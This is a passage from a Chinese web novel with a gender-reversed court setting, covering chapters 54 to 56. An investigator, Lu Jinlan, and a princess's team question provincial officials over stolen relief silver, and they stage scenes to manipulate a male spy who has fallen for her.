陆锦澜咬了咬牙,心道:你学吧,学得连任务都忘了。人家当细作是施展自己的本事,你是来进修来了。 算了,强扭的瓜不甜。陆锦澜也不强求,回到床上自顾自睡了。 直到夜半三更,她迷迷糊糊的被阿七推醒。 阿七两只眼睛瞪得大大的,兴奋得举起一张纸,“我写了你的名字,你快看。” 陆锦澜揉了揉眼,一看他写的是:陆斤兰。 她无奈的笑了笑,“只有姓是对的。” 阿七忙问:“那你的名字怎么写?你教给我。” 陆锦澜叹了口气,“你是不是不困?” 阿七单纯道:“我本来有点困,洗完澡又精神了,还能再写一本字帖。” “那别写字帖了。” “啊?” 陆锦澜扯开他的寝衣,温热的手掌抚过他结实的胸膛,“咱们做点别的事。” 阿七怔了一下,主动放下床帏。一片黑暗中,滚烫的身体靠了过来—— 作者有话说:“四舍五入,等于六千了。”作者小声说。 第55章 约谈公文一发,整个北州的公职人员都人心惶惶。 什么临时调查组?没听说过啊。自查自纠是什么意思?难道让我们自己推几个人出去顶锅? 一开始大家都默认谁也不得罪,一问三不知,不求有立功表现,只求明哲保身。 然而当大皇女率领着精心组建的调查组走进自家衙门,众人看着她们威风凛凛不苟言笑的脸和鹰一样敏锐的目光,都不由得紧张到腿肚子转筋。 每次约谈的房间,调查组都会提前到现场更改一下布置。 把窗户全部钉死,不论白天黑夜,约谈室内都靠烛火照明。 门外大内侍卫层层把守,任何人不得靠近。被约谈的人推门进去,便能看到一张可怜的小木凳。 坐在那张无依无靠的小凳上,面对调查组一群言辞锋利的冷面判官,没有几个不冒冷汗的。 约谈刚进行三天,调查组才跑了六个衙门,已经让各方闻风丧胆。 第四日恰逢州牧衙门例会,各家衙门的人在院内等着。彼此一照面,都跟苦主似的,喋喋不休的抱怨。 一人打听道:“你们衙门问了多久?” 旁边那人一脸凄苦,“别提了!整整三个时辰,我们家大人坐那张板凳坐得,腰痛病都犯了。什么都问,不说就不让走,除了治安的事儿,上到违法违规贪污受贿,下到请客送礼人情往来。连我纳了几个小郎都记上了,你说我睡几个男人招谁惹谁了?” 那人连连点头,“嗐,谁说不是呢。调查组的人还极其凶悍,我想着我糊弄过去吧,根本不允许。我说我们是盐务司的,除了盐之外,根本不知道其他的事。那个姓陆的立刻说,那就把你听说的也跟我们讲讲,至少说出三条来。我的老天奶!我把一个属下去年下馆子没给钱的事儿都说了,才勉强凑上数。” 第三个人凑上来,悄声道:“我听说州牧衙门可出了大事了,于大人不知道哪根筋不对,还真的自查自纠,上交了整整二十一页的各部过失,搞不好就把咱们下属衙门的罪过都写进去凑数了。” “是二十一页吗?我听说是四十一页。” “不对不对,我听说是一整本。” 争论中忽有一人道:“你们说调查组这么问下去,北州还有能藏住的事吗?” 众人连连摇头,有人毫不留情道 :“藏?呵呵,柳县县令六年前抢占人家祖坟把自个儿亲娘埋里的事儿,都被抖露出来了,还藏个屁?” “那你们说,大皇女这么死咬着北州不放,就为了这些鸡毛蒜皮的小事吗?” “那当然不是。” “那是为了什么?” “你说呢?” 聪明人各自打了个哈哈,谁也没有往下说。 可是不聪明的心虚的人,已经坐不住了。 凌夏一大早快马赶至北州大营,急吼吼的找程袁卿碰面。 “程参将,您比我年龄大,比我扛事,我得叫您一声姐姐。妹妹我实在是寝食难安,做梦都在被约谈。你快拿个主意吧,咱们到底该怎么办?” 程袁卿同样愁眉不展,“先别慌,人家还没查到咱们头上呢,别自己乱了阵脚。叮嘱手下人,尤其是参与过前两次大事和近期城门劫银的,让她们一定要管住自己的嘴。不论调查组怎么威逼利诱,谁也不准透露半个字。说要是不小心说了,一家人都别想活。” 凌夏定了定神,“这些话,我早就吩咐下去了。等我回去,再叮嘱一遍。可我这心还是七上八下的,总觉得要出什么大事。” 程袁卿道:“我已经飞鸽传书给两位主子,希望咱家侯君和太尉能帮忙拿个主意。对了,你安插的那个细作怎么样?” 凌夏道:“阿七已经取得了陆锦澜的信任,每天和陆锦澜同吃同住,但是暂时还没传什么消息出来。” 程袁卿道:“别是有什么消息传不出来,派人混到州牧衙门,找机会问问他。” “好,我立刻去找宫师傅,让她来安排。” * 阿七这几日过得十分逍遥,白天陆锦澜出门,他便和上学堂一样把自己关在屋里读书练字。 晚上同陆锦澜做恩爱妻夫,蜜里调油的日子,比冰糖葫芦还甜。 他的字越写越好了,陆锦澜三个字比划虽多,他勤加练习,写完仔细端详,深感和字帖相差无几,颇为骄傲的扬起了嘴角。 叩叩叩! 窗户被敲了三下,阿七猛一回头,吓了一跳。 “十三?你怎么在这儿?” 十三连忙从窗外翻进来,指了指身上的衣服,“师傅买通了后厨洗碗的杂役,我顶替他在后厨做工。我不能久留,师傅让我问问你,你这边情况怎么样?得到什么消息没有?” 阿七忙道:“我这边情况很好,她很信任我,待我很好。” 十三听着有点不对,“待你很好?那你怎么从不出门?她是不是看你看得很紧?” “不是,她……她叮嘱我这几天外面有点乱,让我尽量不要出门。我想我总是往外跑,她肯定会疑心的。所以我就在房间里,练练字什么的。” 十三看了眼她写的那厚厚的一摞纸,“练字?你练字做什么?” 阿七已经学会了糊弄,随口编道:“我怕到时候不方便见面传递消息,就想着……我学会写字之后,就可以写下来,再想办法传出去。” 十三拎起他写了“陆锦澜”三个字的那张纸,上下左右看了看,“这三个字是什么?” 阿七知道他不识字,指鹿为马道:“写的是要、小、心。” 十三点了点头,叮嘱道:“这些字还是不要给陆锦澜看到,免得她多想。我回后厨了,你有什么消息一定要去找我。” 阿七道:“她这几天都忙着约谈,早出晚归的,根本没有提到任何关于主子的消息。” 十三道:“我会帮你转告师傅的,我走了。” 十三从窗户翻出去,阿七刚松一口气,十三突然转身回来,“七哥,我刚刚忘了问你一件事。” “什么?” “陆锦澜她……她有没有把你……你被她那个……”十三吞吞吐吐倒把自己问得脸红脖子粗,最后一咬牙无奈道:“哎呀,我想问你的守贞砂还在不在?” 阿七瞪了他一眼,环顾四周,看着这屋子的床、榻、书案、浴桶…… 阿七脸上发烫,反问道:“我们天天都睡在一起,你说呢?” 十三一脸心痛,“禽兽!这样你以后还怎么嫁人?陆锦澜这个色魔,等事情结束后,我一定替你杀了她。” “十三,有些事情不是你想的那样。总之,我的事情不用你管。你快回去,别被人发现了。” 再次把十三送走,阿七的心绪却久久难平。 他不是傻子,这些天偶然听陆锦澜提起几句公事,他已经大概想明白了。 陆锦澜她们在找城门外抢赈灾银的那些蒙面人,而北州的灾情之所以这么严重,是因为前两次赈灾银都被劫了。灾民收不到粮也拿不到钱,活活饿死了不少性命。 他不知道是谁劫了赈灾银,那时他还在京城。可是主子这么紧张,赈灾银是谁劫的,已经不言而喻了。 他不想去探究真相,他恨不得一辈子都不知道真相。他才读了几天书,不懂什么家国天下,他只希望能和陆锦澜永远像现在这样,过快活舒心的日子。 可他也知道,这都是他的妄想。谁都无法阻止陆锦澜揭开真相,他有预感,那一天就快来了。 * 阿七本来打定主意,绝不给师傅透露消息。 可就在约谈的第五天,快到夜里子时,陆锦澜还没回来。 阿七已经到门口问了数次,得知调查组的人都没回来。可是这也太晚了,会不会出了什么事? 阿七坐立不安,脑子里忍不住一直猜想:会不会是她们查到了什么,凌家军见事情败露,动起手来?陆锦澜虽然武艺高强,可万一对方使了别的手段,对她下了药,她怎么防备?她会不会受伤?会不会……不,一定不会! 阿七徘徊许久,终于忍不住摸到仆役住的房间,将十三叫了出来。 “有个消息,需要你想办法立刻传递。” 十三忙问:“什么消息?” “陆锦澜今早和大皇女她们一起出门去约谈,到现在都没回来。我怕她……她们查到了什么,或者遇到了什么人什么事,也许会涉及到主人,你去师傅那里问一声。如果师傅说不了解她们发生什么事,跟主人无关,也要立刻告诉我。” “好,我这就去。” 其实,看着阿七神色紧张的样子,十三隐隐觉得哪里不对,但他又想不明白具体哪里不对。反正这的确是个不寻常的情况,还是赶快告诉师傅为好。 阿七焦急的坐在花园里等了一个时辰,还不见十三回来。 前院传来些许嘈杂,阿七猛地坐直了身体,侧耳倾听,好像是有人回来了。 他心里还是有些慌乱,脚步匆忙的回到房间,正看见陆锦澜在解披风。 陆锦澜看见他不由一笑,“大半夜不睡觉,你去哪儿了?” 阿七没有回答,快步上前,紧紧地抱住她。 陆锦澜一怔,轻轻拍了拍他的背,“是不是怕我出事?” “嗯。”阿七闷声回答。 陆锦澜笑了笑,将披风随意一丢,抬脚坐到书案上,勾了勾手,“你过来,我跟你说个秘密。” 阿七上前几步,拉住她的手,只听她悄声道:“我不会死的,因为我是天选之人,我有挂。” 阿七不信,“什么褂?” “挂就是一种超乎常理的存在,它看不见摸不着,但就像护身符一样,能够帮助我度过一切危机。所以,你不用担忧,不管遇到什么危险,我都不会有事的。” 阿七无奈的一笑,他并不相信有什么神褂,能够让人长生。但陆锦澜如此安慰他,倒让他不安的内心渐渐平静。 他轻轻抵住她的额头,温柔的抚摸着她的脸颊,“怎么这么晚才回来?” 陆锦澜闭 着眼倚在他身上,疲惫道:“我们今天约谈了北州大营和守备处,情况比较复杂,就忙到了现在。” 阿七黯然垂下眼眸,意识到快活的日子大概就要结束了。他沉默片刻,忽道:“公事是永远忙不完的,我去要些热水来,你洗个澡,好好睡一觉。” 陆锦澜皱了皱眉,“懒得洗。” “那我去打盆热水,你泡个脚。平掌柜送来的一些药草包,用来泡脚能够安神。你泡一会,好吗?” 陆锦澜不吭声,阿七笑着捧着她的脸,“陆大人,你没这么快睡着吧?那你想怎么着?累了困了,直接躺床上就睡,醒了会不舒服的,是不是?嗯?” 他蹭了蹭陆锦澜鼻尖,见她嘴角微微露出笑意,便温柔的吻了上去。 十三急匆匆赶来,正在撞见这一幕,不由浑身一震,差点跌入窗外的花丛。 他定了定神,屏住呼吸仔细一看,陆锦澜好似困倦极了,几乎整个人都靠在阿七的身上。她那么毫无防备,露出的那一截脖颈,正是下刀的好地方。 可阿七竟然亲了上去,小心翼翼又充满渴望,极度的温柔却也极度的浓烈。他亲吻着她的肌肤,鼻息中都是她的气息,却仍嫌不够,恨不得永远将她搂在怀里,一刻也不分开。 铜镜里折射出阿七的脸,在昏暗的灯光下,十三看得并不十分清楚,却又能分明得感受到他是自愿的。他,如痴如醉。 十三仿佛撞见鬼一般,惊恐发作,转身离开。 * 第二天早上,陆锦澜死活不肯起来。连阿七要下床,她也不许。嘴里一直嘟囔着,这些天太累了,好不容易有了眉目,她要睡个懒觉。 阿七无奈,只好抓过一本百家姓,一边研读,一边陪着她硬躺。 大约又过了半个时辰,项如蓁急忙忙来敲门,“锦澜!还没起吗?快出来,有要事。” 陆锦澜皱着一张脸,高声嚷道:“什么事啊?” “昨天那几个人,秘密联系我们了。” 陆锦澜立刻睁开了眼睛,阿七心里也咯噔一下。 他隐约感觉到发生了什么大事,连忙把衣服拿过来帮陆锦澜穿戴,陆锦澜匆忙的将外袍一拢,“鞋。” 阿七赶紧把鞋拿过来,陆锦澜趿拉着就出去了。 阿七看着她神情凝重的出了门,站在门外和项如蓁低声交谈,他鬼使神差的靠近些,侧耳偷听。依稀听到了几个关键词,北州大营、守备处、前来告密、赈灾银、招认、里应外合…… 陆锦澜很快回来,说她要出去办事。她走后,阿七便枯坐在房里,愁眉不展。 叩叩叩!不知过了多久,十三敲了敲窗棂,翻了进来,“七哥,有什么消息没有?” 阿七愣了一下,随即答道:“没有。” 十三不信,“没有?她们昨晚回来那么晚,是因为她们约谈了北州大营和守备处的所有将领,她回来没和你说吗?” 阿七心虚的移开眼神,“她的公事怎么会和我说?我才认识几个字?又听不懂。” “那你就没问?” “问了,反倒被她训斥了几句。她说我一个男儿家,打听那么多干什么?” 十三脸色一变,“七哥,小时候咱们水训,我被卷入暗流差点淹死。是你不顾安危跳到海里,硬把我从鬼门关拉回来的。这份恩情,我一直都记着。咱们这些人都没有母父没有血亲,我其实把你当成我的亲哥。你和我,也不说实话吗?” 阿七沉默许久,看了看十三发红的眼睛,无奈道:“如果师傅问起,你就按我刚才说的传达吧。不是七哥不想跟你说实话,而是有些话不该说。我说了,便是对不起她。” 十三急道:“可你不说,主子怎么办?师傅怎么办?还有我,出了事,我们都会死的。” “我知道!我也会死,我很清楚这一点。” “那你还……” 阿七直视着他的目光,苦笑道:“北州已经死了那么多人,为什么我们就不能死?我们这些年杀了那么多人,我们难道不该死吗?不能因为我们不想死,就去害别人吧。” “七哥,你在说什么胡话?我看你根本不在乎别人,你就是不想害陆锦澜!” “是!我是不想害陆锦澜,因为她是对的。她为民请命,她追查真相,她没有任何错。她对我好,我不能背叛她。” “七哥,陆锦澜到底给你灌了什么迷魂药?你怎么突然像变了个人?” 阿七摇了摇头,“不,我从来没有这么清醒过,也从来没有像现在这样幸福过。世间的事有因就有果,以前做下的事已经无可挽回了,到了事情结束的时候,谁要取我的性命拿去好了,可我不想再错下去。” 二人一番争执,最后十三叹了口气,“你再想想吧,我也不是怕死,我只是不想你白白辜负了真心。她只是把你当做一个可以陪她寻欢作乐的小公子,你为了她背叛主人背叛师傅,甚至搭上性命,值得吗?” * 早上演完那场戏后,陆锦澜她们几个聚在一起,一直在等待着阿七把消息传出去。但中午时分,图灵回来报告,北州大营和守备处没有任何动静。 “奇怪。”陆锦澜忙问:“那个潜入后厨的杂役有没有出去传递消息?” “没有,咱们的人一直暗中监视着,他见了阿七之后便回到后厨做工,没有出去和任何人接触。” 陆锦澜皱了皱眉,赵祉钰叹了口气,“怪了,怎么不把消息传出去?我已经命人告诉余下的衙门,约谈结束了。凌家军现在一定很着急,急于知道发生了什么事。可这边不把消息传出去,咱们怎么进行下一步?天都快黑了,一直拖下去,咱们的计策要失效了。” 晏无辛直言道:“我看,是锦澜对那个阿七太好,他……他倒戈了。” 赵祉钰点了点头,“应该是这样,要不锦澜干脆和他摊牌算了,直接让他帮咱们把消息传出去。” 陆锦澜立即反对:“不行!这样太冒险了,而且以我对他的了解,他也不会同意的。他不肯帮他的主子来害我,也不会帮我来害他的主子。” “那怎么办?”赵祉钰急得团团转,“千算万算,没想到他这里会出岔子。男人心,变得可真快。” 晏无辛小声道:“我倒是有个主意,但是有点那个。” 赵祉钰道:“说来听听。” “他既然是因为对锦澜痴心才背主的,那我们就想个法子,让他醒一醒,收回自己的痴心。他一生气,肯定就把什么都说了。只不过,他也可能太生气,直接对锦澜下毒手。” 项如蓁看了看陆锦澜,“对于全局来说,这是个办法。但对锦澜来说,等于自己去寻鬼门关。锦澜,你怎么看?” 陆锦澜无奈的叹了口气,“试试吧,我不入地狱,谁入地狱啊?” * 没多久,项如蓁又来敲陆锦澜的房门。 阿七见是她,忙道:“她不在房里,上午出去后一直没回来。” “我知道,今天是个好日子,无辛请客喝酒,锦澜已经跟她出去了。我有事耽搁了一会,刚要出门,想起来锦澜让我帮她拿件披风。” “披风?”阿七看了看天色,“今儿不冷啊。” “是,现在是不冷,但晚上肯定会凉。” 阿七想了想,“那请项大人稍等,我去拿。” 阿七刚找到披风,还没拿出去,忽听项如蓁道:“算了,今晚她们也许宿在外面。就算回来,寻欢阁离这儿也没几步路。我可不像老爹子似的伺候她,我走了。” 寻欢阁?阿七定在那儿,站了许久。终于抱着披风,出了门。 他是男人进不了寻欢楼的门,好在他也不是普通的男人。凭借轻功跃上房檐,一眼便看到陆锦澜和晏无辛坐在临窗的位置,怀里俱是左拥右抱,不亦乐乎。 阿七瞬间感到一阵头昏,仿佛有什么东西哽在胸口,上不去下不来,堵得他快窒息了。 他知道她风流,知道她有别的男人,可他一直以为她是多情而不滥情的,更不会喜欢寻欢楼里那些打扮花哨举止造作的庸俗公子。 为什么?难道在她眼里,我和这些青楼公子并无两样?我竟然以为,我对她是特别的,我真是高估自己了。 陆锦澜,你对得起我给你的一片真心吗? 他神情恍惚的抱着披风,漫无目的在街上走,直到有人拦 住了他的去路。 阿七抬眸一看,瞬间红了眼,“十三,你说得对,不值得。” * 这场戏本来就是演给阿七看的,他看完之后,也就散场了。 项如蓁上楼的时候,晏无辛正陪着陆锦澜喝闷酒。 项如蓁道:“那个伪装的杂役大约从阿七那里得到了消息,去找了一个年长的女人。那个女人轻功很好,咱们的人都丢了。不过我猜,她一定是给程袁卿凌夏送消息去了。今夜,凌家军内部,一定有变化。” 陆锦澜叹了口气,“今夜,他对我的态度,也会有变化。” 虽然陆锦澜在阿七这里早就触发过「俘获郎心」和「俘获郎身」的提示,但这破系统无法实时监测人心的转变。连陆锦澜都能卡系统BUG,就知道这系统漏洞有多大了。 如果不是被逼无奈,陆锦澜真不愿意用这招。不说别的,她只是不想平白让人伤心。 项如蓁担忧道:“最毒男人心,他在气头上,什么都能干得出来。要不,你今晚别回去了。” 陆锦澜摇了摇头,“我自己制造的烂摊子,我还是赶快收拾了,免得越闹越大。” 她转头对晏无辛道:“你那天问我,我的秘密武器是什么,我没说。现在告诉你,秘密就是真心。姐妹我是以身入局,那匹汗血宝马真是我应得的。走吧,如果希望我明天早上还能喘气,就陪我回去,再演一出戏。” 晏无辛并不看好,“他又不瞎,看得清清楚楚,你还能演什么戏?”—— 作者有话说:十三:骗我有意思吗?欺负我文盲?恋爱脑真是没救了…… 第56章 陆锦澜长叹一声,往身上倒了点酒,“就演一出酒后吐‘真’言吧。” 正所谓女人三分醉,演到你流泪。 两人来到屋外,陆锦澜说:“你帮我先去偷偷看一眼,他干嘛呢。要是在磨刀,我就不进去了。” 晏无辛侦查了一下,“他在洗衣服。” “洗衣服?” “嗯,看起来像是你的寝裤。他一脸苦大仇深的,在那洗呢。” 陆锦澜一想,这不是冷脸洗内裤吗? 她松了口气,“那我就不用怕他了,这种情况很容易转危为安的,你一会就这么说……” 两人对好了词儿,陆锦澜便挂在晏无辛身上,两人故意装作醉酒的样子,东倒西歪脚步虚浮的推门进去。 阿七带着怨念瞥了一眼陆锦澜醉醺醺的样子,并没有像往常一样迎上去,反而将更加用力的洗衣服。 晏无辛抱怨道:“你看,你非得吵着嚷着要回来,人家也不欢迎你。你说你非得回来干嘛?咱们宿在寻欢阁多好。” 话音未落,啪的一声,阿七将衣物狠狠地丢到水盆里,溅得到处都是水迹。 陆锦澜仿佛被声音惊醒,迷迷糊糊睁开眼,声音里依旧带着浓浓的醉意,“我那盒子呢?快帮我找找,我得拿回家去。” 阿七翻出来一个精致的木盒,“这呢!谁敢偷到你头上。” 陆锦澜抱着盒子又闭上了眼,“没丢就好,吓我一跳,还以为丢了呢。” 晏无辛看了眼阿七,“行了,反正人我给你送回来了,你自己照顾吧,她……没少喝。” 阿七对着晏无辛的背影剜了一眼,坐在床边,对着昏睡的陆锦澜没好气道:“亏你还知道回来。” 他看了看她怀里的木匣子,还是气不打一处来,心道:最好别是什么物证,否则我立刻给你偷走,看你还有没有心情去寻欢阁。 陆锦澜抱得很紧,他拽了好几次才拽出来。打开一看,竟然是一支化了一半的冰糖葫芦。也不知她什么时候买的,大约放在怀里装着,体温把糖浆都给暖化了。 阿七眼底的怒意终于消解了些许,沉默片刻,自顾自道:“原来你还惦记着我,哼,算你有点良心。” 阿七阴阳怪气的抱怨了几句,到底不忍心,皱着眉开始帮她脱鞋更衣。 然而手刚摸到她的腰带,忽然被她一把攥住了手腕,力气大得惊人,阿七痛得皱眉。 陆锦澜缓缓睁开眼,仔细打量了片刻,忽然一笑,眼底的戒备骤然散去,“是你啊七郎,我还以为是谁呢。” 阿七瞪了她一眼,“除了我,还能是谁?” 陆锦澜尴尬得松开手,没有说话。这番表现,在阿七看来是心虚。 不过,他又觉得自己从她的反应中得到了些许安慰。 至少,她没有睡外面的男人。大概只是应付些场面,逢场做戏而已。她不是那样的人,都怪她那个朋友,非得叫她去喝花酒。 陆锦澜还未给自己申辩,阿七已经自行帮她洗脱了干系。 他的脸色又缓和些许,假装漫不经心的问道:“去哪了?喝了这么多酒?” 陆锦澜挠了挠头,“叫什么地方来着,嗐,反正无辛找的地儿。酒也不怎么好喝,她还不肯走,我只好一杯杯的喝,总不能在那儿傻坐着。” 果然,晏无辛真不是个正经东西。 这是绝大多数陆锦澜的男人对她的评价,阿七也不例外。 “是吗?”阿七抬眸看了她一眼,“你们就没玩点别的?” “别的?没有,北州这破地方,有什么可玩的?反正我早早的喝迷糊了,对了,我怎么回来的?” “装。”阿七不信,“你还能连怎么回来的都不知道?你闻闻你这衣服上的味儿。” 他捧着衣服皱着鼻子闻了闻,“廉价的香粉味儿,呛死人了。” 陆锦澜眼看他又要生气,忙道:“别动!你这一把下半张遮起来,好像一个人。” 阿七一愣,颇为紧张道:“像谁?” 陆锦澜伸手捂着他的脸仔细端详,“你这双眼睛长得这么漂亮,让我想起一个刺客。” 阿七屏住呼吸,语气僵硬的转移话题,“你……你怎么会记得一个刺客?” 陆锦澜道:“那个刺客不一样,虽然是来杀我的,但我觉得他不是那种冷血动物。刺客么,要听命于人,也不能怪他,大概他也有他的难处。其实,如果他不杀我的话,我倒觉得……” 阿七忙问:“觉得什么?” 陆锦澜一笑,“我倒觉得他挺可爱的。” 阿七竭力掩饰心底的喜悦,假装漫不经心的起身,抱起衣服往外走。 陆锦澜:“你干什么去?” 阿七:“我把你这些脏衣服丢了,顺便去厨房给你弄碗醒酒汤。” 陆锦澜喜道:“再弄点夜宵,我饿了。” 阿七:“知道了。” 陆锦澜暗自松了口气,过关!今晚可以放心睡觉了。 * 如陆锦澜所计,凌家军得到了有人告密的消息如临大敌。连夜在内部展开调查,甚至严刑拷打。 第二日,派出的暗探回来禀报:“北州大营和守备处都在查内鬼,许多军官都受了伤。” “太好了!”赵祉钰松了口气,“她们打的一定是知情甚至直接参与过偷盗赈灾银的人,我们是不是现在就可以去把伤员都带过来?” 陆锦澜摇了摇头,“殿下,现在还不是时候。您想想,我们现在冒然去抢人,先不说能不能抢过来,就算咱们把人抢过来了,万一这些人死不张嘴,咱们短时间内拿不到确凿证据,该如何是好?” 项如蓁道:“我也觉得应该再等等,我们现在顶多有两成把握。此时就和凌家军撕破脸,为时过早。” 陆锦澜道:“没错,其实我这两天在想,四十万两赈灾银不是小数目,就算她们用了,也得剩下一大半。那么,剩下的这些银子被她们藏到哪儿去了?总得有个地方吧。现在咱们查得这么紧,这批银子她们一定会加派人手严加看管。” 赵祉钰闻言拍案道:“图灵,速速传我密令。对北州大营、守备处严密监视,尤其注意这几日进出的人员,她们去过什么地方、见过什么人 ,都要向我禀明。” 陆锦澜道:“还有府里那个假杂役,也要盯紧。” 赵祉钰看了她一眼,“这自然不必担心,阿七和那个杂役,一直是我的亲信在负责监视。” 晏无辛眼珠子转了转,“那咱们就可以静候佳音了。” 三人从赵祉钰房间里出来,陆锦澜和项如蓁还在琢磨藏银地点,晏无辛忽然勾住她俩的脖子,低声道:“你们没觉得刚刚殿下看锦澜的那一眼,有些微妙吗?” 二人一愣,“什么意思?” 晏无辛压低了声音,悄声道:“我觉得与其说她在严密的监视阿七,其实也在监视锦澜。毕竟,你们两个大部分时间都在一起。” 陆锦澜怪道:“你怎么会这么想?难道我为殿下出了这么多主意,她还会怕我背叛她?” 项如蓁也道:“你是不是多想了?凌家派人刺杀过锦澜,不管从哪方面说,锦澜也不可能去帮凌家军啊。” 晏无辛瞪大了眼睛:“你们不信我啊?你们没听说过那句话吗?伴君如伴虎。咱们这位殿下,以后可能就是坐大位的人。她这种人,心眼儿比筛子都多,她和咱们不是一个路子。论办事能力,我不如你们。论人情世故洞察人心,你们还真得跟我学。” 二人对视一眼,项如蓁笑着打趣道:“怪不得我们高谈阔论的时候,你总蔫蔫的不吭声,原来你都在暗中洞察人心呢。” 晏无辛啧了一声:“这都是我潜心专研的心得收获,别人我还不告诉呢。” 二人默契的朝她拱了拱手,异口同声道:“多谢师傅指教。” 晏无辛气得咬牙叉腰,“朽木不可雕也,为师的教诲你们要记到心里,不然以后要吃亏的!” 二人一左一右架住她,“走吧晏师傅,该吃饭了。” * 这几日,北州城内的凌家军惶惶不安,程袁卿和凌夏以强硬残酷的手段查内鬼,许多平日风光的军官都受了刑,凌家军内几乎人人自危。 赵祉钰将崔明菲、于继芳两位老臣也召集进来,准备集合所有力量,对凌家军完成致命一击。 众人正在屋内密谈,图灵敲门进来,“启禀殿下,今日程袁卿和凌夏又见了那位宫师傅。咱们的人悄悄跟着,发现那位宫师傅消失在大青山一带。” “大青山?”赵祉钰在地图上找到大青山的位置,喃喃道:“莫非她们把赈灾银就藏在这儿?” 于继芳道:“很有可能,此处偏僻,少有行人。而且离北州大营不远,方便监管。” 赵祉钰点了点头,“也就是说,如果我们现在包围大青山,掘地三尺,一定有所收获?” 于继芳摇了摇头,为难道:“大青山绵延三十余里,范围太大了。她们总不至于把银子摆在明面上吧?不会放到山洞里,极有可能挖了地道,在那么大一座山上,找一个小小的地道入口,难如登天。就算咱们把山围死,也得花费两三个月搜山,中间不知道要出多少变故。” 崔明菲道:“于大人说得有道理,她比咱们都了解北州的地理情况,搜山不是上策。” 赵祉钰叹了口气,看了看众人,“锦澜,你有没有办法?” 陆锦澜想了想,“殿下不必忧心,有个办法或许可以一试。” 众人倾身上前,陆锦澜低声道:“那位宫师傅不好跟踪,是因为她身手好。可这样的身手,可不是人人都能有的。那群男刺客都归她统领,可除了阿七和那个杂役,其他刺客很久都没露面了。我猜他们在执行一项新的任务,这个任务很有可能就是看守赈灾银。” 众人连连点头,于继芳道:“没错,眼下殿下看得紧,凌家军一定不敢擅动在册的士兵,这个宫师傅带来的刺客正好帮她们干这个。” 陆锦澜冷哼一声,“程袁卿和凌夏不敢擅动凌家军,一是怕被咱们抓住把柄,二是还没逼到时候。如果她们知道咱们已经得知了赈灾银的下落,不想擅动也得动了。消失的刺客和消失的赈灾银应该就在一起,但刺客才多少人?顶多几十个,他们能守住什么?” “我们干脆再推凌家军一把,逼着她们往大青山增援。增援的人,不可能个个都有宫师傅的身手。人一多就会露了行迹,只要咱们跟住,找到地道,就能来个人赃并获,彻底将其一网打尽。” 众人听到前面几句,都连连点头,可听到最后,不由得都深吸一口凉气。 崔明菲:“和凌家军正面冲突,是不是太冒险了?她们把心一横,干脆反了,可怎么办?” 于继芳也有这个担忧,“北州大营有八万驻军,加上守备处一万多人,这近十万的凌家军,可不是小数目。若发起兵变,等于掀起滔天巨浪。圣上追究下来,我等……呃,下官现在倒不是怕担责任,只是殿下需得提前想好,如何收场。” 屋内一片沉寂,赵祉钰愁道:“我带来的人,加上各府衙的卫兵,加起来不到两千。别说收场,开场都很难。” 项如蓁忽道:“殿下能否从别处调兵过来支援?” 她指着大青山旁边的州界限,“大青山离北州大营不远,离灵州大营也不远。” 于继芳眼睛一亮,“没错,若是宋家军的骑兵先在两州交界之地埋伏,一刻钟之内便能赶到大青山。” 赵祉钰为难得拧紧了眉,“不是我不想调兵,而是我无权调兵。我一个皇女,临时管主将借个三五百的兵,干什么都可以。可超过八百,就得出示兵符,这是嬅国铁律。” “就算我不怕母皇追责,违规调用,也得人家听我的才行。除了母皇本人,各地主将,只认兵符不认人,我也无可奈何。” 众人又沉默了,于继芳瞄了陆锦澜一眼,明示道:“不认人也得认亲吧,小陆大人不是宋将军的儿主吗?一个儿主半个女,亲女儿求她,宋将军不会无动于衷吧?” 大家齐刷刷的看向陆锦澜,陆锦澜无奈的挠了挠头。 其实,她提出这个计策的时候就想到了调宋家军,但是说着说着,脑子里莫名浮现出晏无辛之前的提醒,恍然惊觉这事儿由自己提出来大为不妥。 哦,皇女都调动不了的兵马,你说调就调,这不是给自己挖坑吗?等着被忌惮吧。 不过既然别人提出来了,她便假装没有把握道:“我和宋公子还没完婚呢,再说……再说我岳母也不可能为了我,冒然用兵。圣上追查下来,可是重罪啊。” 她故意说得严重些,果然赵祉钰主动担责道:“母皇若追查,由我来一力承担,你只需求宋将军为我们出兵。母皇圣明,咱们为了破赈灾银被盗案,事急从权逼不得已,她不会追究的。” 陆锦澜又假装沉思了一会儿,“好吧,那就请殿下写一封亲笔信说明缘由。阿七在我身边,我不便离开,我也写一封信。就由……无辛带着两封信去见我岳母,如何?” 赵祉钰雷厉风行,“好,我现在就写。” 陆锦澜让她写这封信,其实也是防了一手,避免日后有人给宋家军扣上乱用兵的帽子。她也写了一封,写明前因后果。 两封信都交到晏无辛手里,赵祉钰叮嘱道:“我在信中写了,希望宋将军能将三万兵马摆在两州交界之地。等咱们信号发出,就请她以雷霆之势进入北州稳定局势。这个三万是我故意多写的,如果她不肯,两万也行,最不济一万也行。大不了到时候咱们出其不意,让大内侍卫先把凌家军的军官都抓了,凌家军群龙无首,我谅她们不敢造反。” 晏无辛连连点头,陆锦澜道:“我送你出去。” 到了外面,陆锦澜悄悄将宋婧骁上次给她的令牌塞到晏无辛手里,“到了灵州地界,如果有人为难你,你就给她看这个。这是我岳母的令牌,希望能助你此行一切顺利。” 晏无辛道:“放心,你们等我的好消息。” 晏无辛走后,府衙的管家到后厨转了一圈,“今儿屋里伺候的男仆病了,一会儿晚膳,你们谁能到 大厅伺候诸位大人用膳?” 十三一听,忙不迭举起了手,“我,我在大户人家伺候过。” 管家打量了他一眼,嫌弃道:“看着憨憨笨笨的,不像个机灵的样子。算了,人手不够,也只好用你了。” 十三高兴的去换衣服,自然猜不到这是为他精心编织的圈套。 有了上次的教训,陆锦澜改变策略,不指望阿七传消息出去了。府里既然有另一个细作,不用白不用,还能少走一段弯路。 果然十三在席上偷听到几句密语后,大为震惊。什么都顾不得,立刻跟狗撵似的,跑出了州牧府,直奔北州大营。 监视他的人都愣了一下,“老大,他怎么不去找他师傅啊?” 图灵:“呃,大概觉得事情紧急,来不及了吧?” 图灵所料不错,十三确实是这么想的,而且他想得还更严重一些。 程袁卿和凌夏正在一处,听见十三来了,忙命他进来。 十三下了马一路狂奔,进屋的时候还上气不接下气,见到二人便哭着跪倒在地。 “两位将军,不好了!大皇女已经得知了赈灾银的下落,她们随时就要来抢,我师傅只怕已经被她们监视起来了!” “什么?”凌夏手里的杯子掉在地上,哗啦一声摔了个粉碎。 